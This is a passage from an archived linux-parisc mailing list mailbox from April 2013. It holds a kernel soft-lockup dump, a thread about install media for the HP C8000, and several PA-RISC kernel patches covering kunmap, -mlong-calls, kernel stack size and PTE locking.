  CPU:        2   CR30: 000000007f0ec000 CR31: ffffffffffffffff
  ORIG_R28: 000000004060ac30
  IAOQ[0]: cpu_idle+0x8c/0xc0
  IAOQ[1]: cpu_idle+0x90/0xc0
  RP(r2): cpu_idle+0x78/0xc0
Backtrace:
  [<0000000040767ab0>] smp_callin+0x1b8/0x1d8

BUG: soft lockup - CPU#1 stuck for 4278967496s! [swapper/1:0]
Modules linked in: iscsi_tcp libiscsi_tcp libiscsi  
scsi_transport_iscsi nfsd exportfs ipv6 ext2 ext3 mbcache jbd dm_mod  
zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif sg sr_mod cdrom tg3  
sym53c8xx pata_cmd64x scsi_transport_spi ptp pps_core libata scsi_mod

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000011001111111100001111 Not tainted
r00-03  000000ff080cff0f 000000004074fff0 00000000401255a0  
000000007f0e4190
r04-07  000000004073c7f0 000000007f0e41f0 0000000000000001  
0000000000000001
r08-11  000000f0f0d08440 0100000000000000 000000000804000e  
00000000407678fc
r12-15  00000000409ba638 00000000409ba638 00000000405ec040  
0000000000000001
r16-19  fffffff0f0d00b0c 000000007eab57a8 0000000040668580  
000000000800000e
r20-23  0000000001d6b000 000000007f257ec0 000000007f7c1cc0  
000000000800000e
r24-27  000000000800000e 0000000000000000 0000000042503748  
000000004073c7f0
r28-31  0000000000000008 000000007f0e41f0 000000007f0e4220  
0000000040684444
sr00-03  0000000000963000 0000000000963000 0000000000000000  
0000000000963000
sr04-07  0000000000000000 0000000000000000 0000000000000000  
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401255c0  
00000000401255b4
  IIR: 0805025d    ISR: 000000004075eff0  IOR: ffffffffc0000000
  CPU:        1   CR30: 000000007f0e4000 CR31: ffffffffffffffff
  ORIG_R28: 000000004060ac30
  IAOQ[0]: cpu_idle+0x98/0xc0
  IAOQ[1]: cpu_idle+0x8c/0xc0
  RP(r2): cpu_idle+0x78/0xc0
Backtrace:
  [<0000000040767ab0>] smp_callin+0x1b8/0x1d8

BUG: soft lockup - CPU#0 stuck for 4278967497s! [swapper/0:0]
Modules linked in: iscsi_tcp libiscsi_tcp libiscsi  
scsi_transport_iscsi nfsd exportfs ipv6 ext2 ext3 mbcache jbd dm_mod  
zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif sg sr_mod cdrom tg3  
sym53c8xx pata_cmd64x scsi_transport_spi ptp pps_core libata scsi_mod

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 000000004074fff0 00000000401255a0  
00000000405e82e0
r04-07  000000004073c7f0 00000000405e8340 0000000040691070  
000000004078fb98
r08-11  0000000040691008 00000000424f6100 000000000804000e  
000000004011b244
r12-15  0000000000000fe7 000000004067a768 0000000000000fe6  
0000000000000001
r16-19  00000000f0d00b0c 0000000000000fe7 0000000000000fe6  
000000000800000e
r20-23  0000000001d61000 000000000800000f 000000007f7c1cc0  
000000000800000e
r24-27  000000000800000e 0000000000000000 00000000424f9748  
000000004073c7f0
r28-31  00000000405e8000 00000000405e8340 00000000405e8370  
0000000040684444
sr00-03  0000000000963000 0000000000963000 0000000000000000  
0000000000963000
sr04-07  0000000000000000 0000000000000000 0000000000000000  
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401255b8  
00000000401255bc
  IIR: 539c0020    ISR: 000000004075eff0  IOR: ffffffffc0000000
  CPU:        0   CR30: 00000000405e8000 CR31: 2001001408940008
  ORIG_R28: 000000004060ac30
  IAOQ[0]: cpu_idle+0x90/0xc0
  IAOQ[1]: cpu_idle+0x94/0xc0
  RP(r2): cpu_idle+0x78/0xc0
Backtrace:
  [<000000004010bc48>] rest_init+0xe0/0xf8
  [<0000000040760f14>] start_kernel+0x7a4/0x7d0
  [<00000000404ec278>] rpc_pipe_ioctl+0xf0/0x118
  [<00000000404adb4c>] ip_mroute_getsockopt+0x84/0x118
  [<000000004048ae10>] udp_ioctl+0x80/0xc8
  [<0000000040486ba0>] raw_sendmsg+0x290/0x8b0
  [<0000000040465998>] do_tcp_getsockopt.isra.21+0x270/0x6c0
  [<0000000040441864>] compat_sys_getsockopt+0x1ec/0x228
  [<00000000404415b0>] compat_sys_setsockopt+0x1d8/0x2a0
  [<0000000040440f00>] cmsghdr_from_user_compat_to_kern+0x2a8/0x2f8
  [<0000000040440a9c>] get_compat_msghdr+0x11c/0x170


  scsi_transport_iscsi nfsd exportfs ipv6 ext2 ext3 mbcache jbd dm_mod  
zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif sg sr_mod cdrom tg3  
sym53c8xx pata_cmd64x scsi_transport_spi ptp pps_core libata scsi_mod

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 000000004074fff0 00000000401255a0  
000000007f0f0190
r04-07  000000004073c7f0 000000007f0f01f0 0000000000000003  
0000000000000003
r08-11  000000f0f0d08440 0300000000000000 000000000804000e  
00000000407678fc
r12-15  000000004060ac30 000000004071b3b0 0000000000000000  
0000000000000001
r16-19  fffffff0f0d00b0c 000000004074eff0 000000004250f750  
000000000800000e
r20-23  0000000001d7f000 000000000800000f 000000007e2dc0c0  
000000000800000e
r24-27  000000000800000e 0000000000000000 0000000042517748  
000000004073c7f0
r28-31  000000007f0f0000 000000007f0f01f0 000000007f0f0220  
0000000040684444
sr00-03  0000000000aa6000 0000000000000000 0000000000000000  
0000000000aa6000
sr04-07  0000000000000000 0000000000000000 0000000000000000  
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401255b8  
00000000401255bc
  IIR: 539c0020    ISR: 000000004075eff0  IOR: ffffffffc0000000
  CPU:        3   CR30: 000000007f0f0000 CR31: ffffffffffffffff
  ORIG_R28: 000000004060ac30
  IAOQ[0]: cpu_idle+0x90/0xc0
  IAOQ[1]: cpu_idle+0x94/0xc0
  RP(r2): cpu_idle+0x78/0xc0
Backtrace:
  [<0000000040767ab0>] smp_callin+0x1b8/0x1d8

Since the number of seconds is wrong in the lockup message (e.g., "  
CPU#0 stuck for 4278967497s!"),
it occurred to me that something isn't being initialized properly.   
So, I powered the machine down and
rebooted again.  This time it booted 3.9-rc7+ successfully.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: install medium for c8000 [was Re: PARISC Linux website and status update]
Date: Tue, 23 Apr 2013 09:32:57 +0930
Lines: 57
Approved: news@gmane.org
Message-ID: <CAFk90B_rakTmEWv7RagoOAv7dybZKA_POvrb4MDYCEF9FOO6JA@mail.gmail.com>
References: <CAFk90B8ZNjwyWKpO_LhGPPkYB_sgJduMVi_YBCoN_Z6hk-_sFQ@mail.gmail.com>
	<0d62eecac81e83ba969f27e280554c19.squirrel@mail.therion.be>
	<2146001.U3u6lFCtbY@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366675378 28966 80.91.229.3 (23 Apr 2013 00:02:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 00:02:58 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 23 02:03:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUQhI-0004bV-0h
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Apr 2013 02:03:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752770Ab3DWAC7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Apr 2013 20:02:59 -0400
Original-Received: from mail-wg0-f42.google.com ([74.125.82.42]:41385 "EHLO
	mail-wg0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752221Ab3DWAC6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 20:02:58 -0400
Original-Received: by mail-wg0-f42.google.com with SMTP id m15so1285875wgh.3
        for <linux-parisc@vger.kernel.org>; Mon, 22 Apr 2013 17:02:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:in-reply-to:references:date:message-id
         :subject:from:to:cc:content-type;
        bh=+kLZT5PfK4CnJosAtAgqzfzdIzyPnCVPRulj92otA5o=;
        b=lndr3lGVuRTzejmal3Y9PlXWwFoU/GtI5cQhbhPvHCRG4asJc+g6GcpsRj5sTdH21b
         kSzM38JaA9QP40W/cRk3PIep8DwLA97IaOMP8sKsqBF6aiH75AgVhj/ohjcArT3qYPuD
         Nm4ymVKrqolIqBsJKHsjte1Ma38XsSMrbKcr+N6Beuulbru2ipdn7PCIOEshgKqj1Y40
         bgvVo3VxG/81KFz7wK+WSypuUJcPQa0+udDf53zfTwd3o0jv9NIuRFAjVwu8ziqZKeeV
         6/RKVV9GAFT7X2D5/w+ipa32Tu/AlSwtWNTvtNbzWYqnrl7OgZul1wA8yhVrT8GMJNPh
         gEhw==
X-Received: by 10.180.77.226 with SMTP id v2mr70267960wiw.33.1366675377721;
 Mon, 22 Apr 2013 17:02:57 -0700 (PDT)
Original-Received: by 10.216.103.69 with HTTP; Mon, 22 Apr 2013 17:02:57 -0700 (PDT)
In-Reply-To: <2146001.U3u6lFCtbY@eto>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4937 gmane.linux.debian.ports.hppa:6849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4937>

On 23 April 2013 01:47, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> Am Montag 22 April 2013, 17:00:07 schrieb Geert Lorang:
>> On Mon, April 22, 2013 15:12, Graham Gower wrote:
>> > I'm wondering if there is an install iso with a kernel that has
>> > CONFIG_PDC_CONSOLE=y, so that I can install on a c8000. (Or am I
>> > missing something, is there a way to get it to work without this?)
>> >
>> > Its kinda annoying if I've got to build a cross toolchain, cross
>> > compile a kernel, tftpboot, nfsroot, etc. in order to put something on the
>> > hard drive.
>>
>> AFAIK the C8000s have unsupported serial ports / network card.
>
> The network card is an e1000, which has a somewhat weird "checksum" for the
> EEPROM. In newer kernels the driver knows how to handle that. For older
> kernels you need to set the MAC by hand, but otherwise everything is fine.
>
> About the serial I'm not absolutely sure, but I think it worked. The only
> thing I needed to change was to set the console to ttyB0 instead of ttyS0.
>
> Greetings,
>
> Eike

Yes, I understand these issues. I went through the process of doing a
gentoo install a couple of years ago. And I did so without an
additional serial port. It just took ages to figure out getting all
the bits built. I fired up my c8000 again yesterday, but noticed one
of the disks is flakey so I can't log in now.

A PDC_CONSOLE enabled kernel requires no additional serial port, it
works fine over the serial port. But the debian/gentoo install kernels
disable it for some reason. All you need to do is boot without a
keyboard attached, with your serial port set at 9600/n8, you'll get
the PDC stuff come up and be able to 'boot lan'.

But if, like me, you don't have another fast hppa box to build stuff
on, you'll need to:
 - build a cross hppa-linux toolchain
 - build palo bits with native toolchain and the 32bit hppa-linux toolchain
 - build a cross hppa64-linux toolchain
 - cross build a 64 bit kernel with hppa64-linux toolchain
 - smash your kernel and palo together in a lan boot compatible way
 - set up a dhcpd/tftpd/nfsd that all gel together for lan booting
your parisc box.

Needless to say, this can be time consuming and error prone. Which is
why I'm asking...

Does anyone have a PDC_CONSOLE enabled install iso? Or lan bootable image?

-Graham
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Change kunmap macro to static inline function
Date: Mon, 22 Apr 2013 20:23:50 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8431D8E2DE5CEDDFC64BF697B40@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-8--325109570"
X-Trace: ger.gmane.org 1366676664 8364 80.91.229.3 (23 Apr 2013 00:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 00:24:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 23 02:24:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUR20-0003QC-V0
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Apr 2013 02:24:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753030Ab3DWAYX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Apr 2013 20:24:23 -0400
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:3983 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752874Ab3DWAYX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Apr 2013 20:24:23 -0400
Original-Received: from BLU0-SMTP84 ([65.55.111.136]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 22 Apr 2013 17:24:22 -0700
X-EIP: [0bCoXLk1Bwz0rDdXHYq0/0VvGzyvPqCB]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 22 Apr 2013 17:24:21 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Apr 2013 00:24:22.0141 (UTC) FILETIME=[E6F102D0:01CE3FB8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4938>

--Apple-Mail-8--325109570
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Change kunmap macro to static inline function to fix build error  
compiling drivers/base/dma-buf.c.

Without the change, the following error can occur:

   CC      drivers/base/dma-buf.o
/home/dave/debian/linux/linux-3.8.5/drivers/base/dma-buf.c: In  
function 'dma_buf_kunmap':
/home/dave/debian/linux/linux-3.8.5/drivers/base/dma-buf.c:427:46:  
error: macro "kunmap" passed 3 arguments, but takes just 1
/home/dave/debian/linux/linux-3.8.5/drivers/base/dma-buf.c:427:3:  
warning: statement with no effect [-Wunused-value]
make[7]: *** [drivers/base/dma-buf.o] Error 1
make[6]: *** [drivers/base] Error 2
make[5]: *** [drivers] Error 2
make[4]: *** [sub-make] Error 2
make[3]: *** [all] Error 2
make[3]: Leaving directory `/home/dave/debian/linux/linux-3.8.5/debian/ 
build/build_hppa_none_parisc64'

I believe parisc is the only arch to implement kunmap using a macro.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
---


--Apple-Mail-8--325109570
Content-Disposition: attachment; filename="cacheflush.h.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cacheflush.h.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 79f694f..f0e2784 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -140,7 +140,10 @@ static inline void *kmap(struct page *page)
 	return page_address(page);
 }
 
-#define kunmap(page)			kunmap_parisc(page_address(page))
+static inline void kunmap(struct page *page)
+{
+	kunmap_parisc(page_address(page));
+}
 
 static inline void *kmap_atomic(struct page *page)
 {

--Apple-Mail-8--325109570
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-8--325109570--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: disable -mlong-calls compiler option for kernel
 modules
Date: Tue, 23 Apr 2013 22:20:11 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20130423202011.GA7252@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1366748416 15799 80.91.229.3 (23 Apr 2013 20:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 20:20:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 23 22:20:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUjhK-0002tT-U4
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Apr 2013 22:20:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754232Ab3DWUUS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Apr 2013 16:20:18 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55873 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754198Ab3DWUUR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Apr 2013 16:20:17 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.27]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M4EgP-1Ulr8m2KMl-00rrNb for
 <linux-parisc@vger.kernel.org>; Tue, 23 Apr 2013 22:20:15 +0200
Original-Received: (qmail invoked by alias); 23 Apr 2013 20:20:15 -0000
Original-Received: from p54AD11D8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.17.216]
  by mail.gmx.net (mp027) with SMTP; 23 Apr 2013 22:20:15 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+nSi4BKvynzkJp0AuQttUxF5tF+koJ3SAj/tbaiO
	NdygSOdlgtjFjm
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4939>

commit 87622023a2071f81037c92d34ab20ed062e53ea5
Author: Helge Deller <deller@gmx.de>
Date:   Tue Apr 23 15:59:45 2013 +0200

parisc: disable -mlong-calls compiler option for kernel modules

CONFIG_MLONGCALLS was introduced in commit
ec758f98328da3eb933a25dc7a2eed01ef44d849 to overcome linker issues when linking
huge linux kernels (e.g. with many modules linked in).

But in the kernel module loader there is no support yet for the new
relocation types, which is why modules built with -mlong-calls can't be
loaded.
Furthermore, for modules long calls are not really necessary, since we already use
stub sections which resolve long distance calls.

So, let's just disable this compiler option when compiling kernel
modules.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 01d95e2..c9259b5 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -65,8 +65,10 @@ ifndef CONFIG_FUNCTION_TRACER
 endif
 
 # Use long jumps instead of long branches (needed if your linker fails to
-# link a too big vmlinux executable)
-cflags-$(CONFIG_MLONGCALLS)	+= -mlong-calls
+# link a too big vmlinux executable). Not enabled for building modules.
+ifdef CONFIG_MLONGCALLS
+KBUILD_CFLAGS_KERNEL += -mlong-calls
+endif
 
 # select which processor to optimise for
 cflags-$(CONFIG_PA7100)		+= -march=1.1 -mschedule=7100
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: increase kernel stack size to 32k
Date: Tue, 23 Apr 2013 22:22:03 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20130423202203.GA7287@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1366748532 17120 80.91.229.3 (23 Apr 2013 20:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 20:22:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 23 22:22:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUjjB-0006av-8w
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Apr 2013 22:22:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754634Ab3DWUWM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Apr 2013 16:22:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60260 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753992Ab3DWUWL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Apr 2013 16:22:11 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.16]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MbeI7-1UCEpv2e2v-00J2AF for
 <linux-parisc@vger.kernel.org>; Tue, 23 Apr 2013 22:22:06 +0200
Original-Received: (qmail invoked by alias); 23 Apr 2013 20:22:06 -0000
Original-Received: from p54AD11D8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.17.216]
  by mail.gmx.net (mp016) with SMTP; 23 Apr 2013 22:22:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18sTeBQpc4shTbPQdsGUxcm4Iq782IqSjCqCLFU7s
	XQWCzq6FH6vLUS
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4940>

commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
Author: Helge Deller <deller@gmx.de>
Date:   Tue Apr 23 17:19:37 2013 +0200

parisc: increase kernel stack size to 32k

This commit temporarily increases the kernel stack size to 32k to avoid
stack overflows which led to strange and hard-to-debug kernel crashes
all over various kernel components.

The upcoming real fix will implement an own irq stack which should avoid
those crashes without the need for 32k stacks.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index d1fb79a..55335c1 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -40,7 +40,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER            2
+#define THREAD_SIZE_ORDER            3	/* 32k stack */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use spin_lock_irqsave/spin_unlock_irqrestore for PTE
 updates
Date: Wed, 24 Apr 2013 00:06:04 +0200
Lines: 140
Approved: news@gmane.org
Message-ID: <20130423220604.GA7659@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1366754772 17929 80.91.229.3 (23 Apr 2013 22:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 22:06:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 00:06:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUlLr-0006Sp-98
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 00:06:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755336Ab3DWWGM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Apr 2013 18:06:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55652 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752095Ab3DWWGI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Apr 2013 18:06:08 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LlKzA-1V2Rfk1zN8-00b7Zb for
 <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 00:06:06 +0200
Original-Received: (qmail invoked by alias); 23 Apr 2013 22:06:06 -0000
Original-Received: from p54AD11D8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.17.216]
  by mail.gmx.net (mp002) with SMTP; 24 Apr 2013 00:06:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18EHm5shYoEftNLzAukVNtn3lgIZcgcSixHwQz1ZG
	i3qEbPEzB0MOc7
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4941>

From: John David Anglin <dave.anglin@bell.net>

User applications running on SMP kernels have long suffered from instability
and random segmentation faults.  This patch improves the situation although
there is more work to be done.

One of the problems is the various routines in pgtable.h that update page table
